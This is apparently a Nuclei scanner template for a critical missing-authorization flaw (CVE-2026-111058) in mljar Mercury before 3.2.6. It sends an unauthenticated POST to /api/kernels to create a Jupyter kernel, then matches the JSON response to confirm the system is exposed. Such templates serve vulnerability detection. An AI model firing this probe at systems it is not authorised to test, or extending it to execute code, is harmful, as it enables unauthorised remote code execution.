id: CVE-2026-111058

info:
  name: "Mercury - Missing Authorization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In mljar Mercury prior to 3.2.6, default tokenless deployments allow anonymous clients to
    create Jupyter kernels and send execute_request messages containing arbitrary Python. The
    anonymous endpoint blocklist does not cover `/api/kernels`, so an unauthenticated attacker
    can POST to that endpoint to spin up a kernel and subsequently execute code as the Mercury
    process.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-111058&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mercury&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-111058
    cwe-id: CWE-862
  metadata:
    verified: false
  tags: cve,cve2026,mercury,auth-bypass
http:
  - raw:
      - |
        POST /api/kernels HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"python3"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"id\"", "\"execution_state\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200 || status_code == 201'
        condition: and